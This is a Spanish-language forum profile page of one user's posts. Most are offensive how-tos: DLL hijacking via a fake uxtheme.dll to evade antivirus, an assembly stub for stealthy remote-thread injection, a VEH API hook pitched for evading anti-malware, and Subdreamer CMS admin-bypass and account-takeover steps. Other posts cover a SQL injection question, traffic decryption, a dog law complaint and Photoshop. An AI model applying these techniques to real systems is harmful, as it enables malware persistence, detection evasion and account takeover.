Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - bizco

#1
Solo voy a explicar el como ya que es bastante sencillo, de esta forma no hay que tocar el registro siendo mas complicado que salte el antivirus. esta claro que para que funcione la "victima" tiene que tener instalado msn pero el metodo puede aplicarse con algunas modificaciones a cualquier otra aplicacion.

cosas a tener en cuenta:

Nuestra aplicacion tiene que ser una dll, puede luego soltar un regalo o ejecutar el codigo necesario desde el contexto de msn, esta opcion es mas segura por las reglas que puedan tener los usuarios para msn.

La dll tiene que exportar en este caso esta funcion exactamente:

BOOL  IsThemeActive();

esta funcion sera un wrapper de la original en uxtheme.dll.

Nuestra dll tiene que llamarse uxtheme.dll y solo tiene que ser copiada en la carpeta donde esta instalado msn.


#2
Nivel Web / No es vulnerable?
3 Septiembre 2010, 23:00 PM
Hola, tengo este codigo:


"SELECT * FROM {sessions} WHERE sessionid = '$sessionid'
                                                                 AND lastactivity > " . (TIMENOW - COOKIE_TIMEOUT) . "
                                                                 AND ipaddress = '" . USERIP . "'
                                                                 AND useragent = '" . USERAGENT . "'"


$sessionid no se limpia en ningun caso, se lee el valor de la cookie directo. pues bien, modificando el valor de la cookie no muestra ni un solo error.... ¿es normal esto?.
#3
como cada verano vuelve la oleada y la alarma para recaudar, pero esta ley es un poco confusa:

Citar
    * Ser mayor de edad. (presentando fotocopia del D.N.I.)
    * No presentar antecedentes penales con respecto a algunos supuestos como delitos contra la propiedad, la moral, la libertad sexual, homicidio...Para demostrarlo se debe ajuntar un certificado de penales que se obtiene en el Registro de Antecedentes Penales (calle Noviciado), y una declaración jurada de no haber sido sancionado por la presente Ley.
    * Disponer de capacidad física y psicológica para poseer uno de estos animales. La certificación la obtendremos en cualquier centro de reconocimientos médicos como por ejemplo los centros para la renovación del carné de conducir o permiso de armas.
    * Acreditación de haber suscrito un seguro de RESPONSABILIDAD CIVIL por daños a terceros por valor de 120.000 € (aprox. 20 millones de pesetas).

en ningun momento, ningun profesional va a valorar la salud del animal ni su comportamiento ¿no es curioso?. esto quiere decir que como en todo mientras des $$$$ el como este el animal, se la sopla. la primera medida que hay que tomar son revisiones periodicas del animal por un veterinario, para determinar el caracter y la salud mental del animal.

me cabrea esto, ya que soy propietario de un "perro peligroso" que no es tal, y estas "medidas" con puro afan de recaudar me sacan de mis casillas. yo cada 5 años no, yo estoy dispuesto como propietario una revision anual que determine el caracter del animal y su buena salud mental. eso si, una vez el veterinario o el profesional que sea, certifique que el animal esta pefectamente y no tiene ningun problema mental..... que nos dejen pasear tranquilos.

En este pais dejan sueltos a criminales probados sin ningun tipo de señalizacion o marca que los diferencia de los ciudadanos normales, pero los perros pagan todos el mismo precio sin examen alguno..... vergonzoso.
#4
Nivel Web / Subdreamer 3.1.0 varios bugs
6 Junio 2010, 22:34 PM

EDITO: acaban de sacar otro update que soluciona todos los fallos.

para el primero  hay parche, de obligatoria instalacion ya que por un fallo se podia acceder a todo el panel de administracion:

http://www.subdreamer.com/sdcms_310_patch.zip

con register_globals On, http://host/admin/pages.php?userinfo[adminaccess]=1 para navegar por el panel de administracion sin hacer login.

cambiar email y password de cualquier usuario, id 1 por defecto es administrador. necesitas estar registrado y modificar tu perfil, dando una ojeada al codigo html


<form action="http://localhost/index.php?categoryid=5" method="post" name="form">
<input type="hidden" value="4" name="p11_userid">


p11_userid es nuestro id de usuario, ahora miramos usercp.php


if(isset($_POST['email']) && strlen($_POST['email']))
   {
     
     $DB->query("UPDATE {users} SET email = '%s' WHERE userid = %d", $_POST['email'], $_POST['p11_userid']);
   }

   // change password?
   if(isset($_POST['newpassword']) && strlen($_POST['newpassword']))
   {

     $DB->query("UPDATE {users} SET password = '%s' WHERE userid = %d", md5($_POST['newpassword']), $_POST['p11_userid']);
   }


el id no se verifica en ningun momento, solo modificando el valor del campo oculto por 1 cambiaremos el password o email del administrador y podremos logearnos tranquilamente. versiones anteriores tb estan afectadas por estos errores.
#5
hola, llevo poco tiempo con photoshop pero tengo una idea clara y no se por donde empezar. me gustaria dar a una imagen un efecto de profundidad. para que se me entienda dejo una imagen que encontre que es bastante parecido a lo que quiero lograr.



como se puede ver tiene un efecto curvo que le da aspecto de profundidad ¿conoceis algun tutorial que explique algo similar o la forma de llegar a eso?
#6
Nivel Web / Duda ¿se considera vulnerable?
3 Junio 2010, 13:19 PM
Hola, ojeando el codigo de un CMS comercial vi que puedo ver el panel de administracion y supongo que con las pruebas satisfactorias hasta el momento me puedo crear un usuario en el grupo admin y luego logearme tranquilamente (esto de momento no lo he probado, solo el listar usuarios). no necesito ser usuario logeado previamente para lograr ver el panel de administracion, el unico problema es que register_globals necesita estar en on... ¿se puede considerar entonces vulnerable? ya que estando en off, no lo es (o eso creo yo).
#7
El ejemplo no injectara ninguna dll, simplemente el proceso victima intentara ejecutar una direccion invalida y se cerrara, el que quiera meter una dll que haga el las modificaciones a su gusto.

Siempre esta el problema de querer usar CreateRemoteThread en una aplicacion (no malware precisamente) y los antivirus suelen marcar ya el programa como peligroso. ahora bien, CreateThread no es detectado como algo peligroso, pero ¿quien es realmente CreateThread?. Esta funcion es un wrapper, alias o como quieras llamarlo de CreateRemoteThread, aceptando 1 parametro menos ya que si se desensambla la funcion se ve claramente que dentro de esta marca el handle del proceso a -1, o lo que es lo mismo a el proceso que a llamado a la funcion. La cosa es simple, necesitamos un puntero a CreateThread y buscar el call a CreateRemoteThread dentro de la funcion, meter los parametros de la funcion en la pila y hacer un jmp a dicho call. de este modo se a injectado la dll "sin" tener que usar la maldita funcion.

El codigo es una chorrada, es expresamente para poner un ejemplo de la idea en codigo. a la hora de usarlo en una aplicacion real se tienen que tener algunas cosas en cuenta.


format PE GUI 4.0

entry Main

include 'win32a.inc'

section '.data' data readable writeable

cPtr    dd 0

section '.idata' import data readable writeable

library kernel32,'KERNEL32.DLL',\
       user32,'USER32.DLL'

include 'api\kernel32.inc'
include 'api\user32.inc'

section '.text' code  readable writeable executable

Main:
    push 0
    push 0
    push 0
    push InjectaDll
    push 0
    push 0
    call [CreateThread]
    push 6h            ;Esto es solo para la prueba.
    call [Sleep]
    push 0
    call [ExitProcess]


proc InjectaDll
    push edi
    mov eax,0E8h
    mov edi,dword [CreateThread]
S:
    repne scasb
    jnz S
    dec edi
    mov [cPtr],edi
    pop edi
    push 3532      ;Process Id
    push 1
    push PROCESS_ALL_ACCESS
    call [OpenProcess]
    or eax,eax
    jz Fin
    push 0
    push 0
    push 0
    push 41414141h
    push 0
    push 0
    push eax
    jmp [cPtr]  ;CreateRemoteThread
Fin:
    ; En caso de error
endp

#8
http://www.matousec.com/info/articles/khobe-8.0-earthquake-for-windows-desktop-security-software.php

verificado, es super sencillo saltarse las restricciones.
#9
Análisis y Diseño de Malware / VEH Api Hook
24 Marzo 2010, 15:10 PM
El concepto de todo esto ya lo conocia pero por thread y gracias a Guy de GD conoci esta alternativa que trabaja de forma global en todo el proceso. El concepto base es generar una excepcion cada vez que se llama a la funcion o zona de codigo que nos interesa redireccionar, para eso pondremos PAGE_NOACCESS en la direccion:


api=(DWORD*)GetProcAddress(GetModuleHandle("user32.dll"),"MessageBoxA");
AddVectoredExceptionHandler(1,Redirector);
VirtualProtect(api,1,PAGE_NOACCESS,&oProt);


en AddVectoredExceptionHandler pondremos el primer parametro a 1 para que de todos los manejadores nos llame a nosotros primero, el segundo parametro es la funcion que controlara las excepciones.


LONG __stdcall Redirector(PEXCEPTION_POINTERS ep)
{
if (ep->ExceptionRecord->ExceptionCode==EXCEPTION_ACCESS_VIOLATION)
{
  if (ep->ContextRecord->Eip==(DWORD)api)
  {
   VirtualProtect(api,1,PAGE_EXECUTE,&oProt);
   ep->ContextRecord->Eip=(DWORD)_MsgBox;
   return EXCEPTION_CONTINUE_EXECUTION;
  }
}
return EXCEPTION_CONTINUE_SEARCH;
}


en esta funcion solo controlaremos 1 excepcion, si no es esta o la direccion no es la que nosotros esperamos pasaremos el control al siguiente manejador de excepciones (EXCEPTION_CONTINUE_SEARCH). en caso de ser la direccion que queremos hookear, damos permisos de ejecucion a la zona y la EIP apuntando a  nuestra funcion que seria algo asi:


UINT __stdcall _MsgBox(HWND h,char *Texto,char *Titulo,UINT Tipo)
{
UINT r=0;
r=MessageBox(h,"Mensaje manipulado","titulo",Tipo);
VirtualProtect(api,1,PAGE_NOACCESS,&oProt);
return r;
}


Las posibilidades no son pocas, es facil de implementar y no hay que modificar ni 1 solo byte del codigo original asi que las detecciones por opcodes o crc no serian efectivas. no solo podemos hookear si no implementar formas de evadir software "anti malware".

Se que no es nada nuevo, pero como no vi nada en el foro que hablase sobre esto pues lo dejo para el que le pueda interesar.


#10
Hola, necesito mas que una ayuda una idea pq ahora mismo estoy atascado. tengo un soft que manda datos a un servidor, tengo acceso tb al soft servidor y en los 2 he depurado ya y sacado en claro algunas cosas. el servidor le manda un dato al cliente y el cliente toda peticion que hace a este servidor lo hace ya identificando cada peticion con este dato, es decir si yo mando una peticion sin ese dato, el servidor me cierra la conexion.

hasta aqui todo sencillo, lo que se me complica un poco es que ese dato viaja cifrado tanto desde el cliente al servidor como del servidor al cliente. ventajas de poder depurar el servidor es que se que datos se le envian y se que datos se reciben, pero esto ya una vez procesados. yo estoy hookeando los sockets y necesito reconocer ese paquete para sacar ese dato antes de que lo reciba el cliente. la cosa es que esta cifrado con algun algoritmo conocido pero claro....... hay tantos. ¿sabeis alguna aplicacion o la forma de reconocer este cifrado? es el ultimo paso y tendria la comunicacion completamente destripada.

PD: no es que solo se envie un paquete, se envian varios y segun cuales son descartados asi que no se realmente cual paquete estoy viendo, si es mio (genero paquetes externamente) o es de la propia aplicacion, por eso me interesa reconocerlo.

un saludo.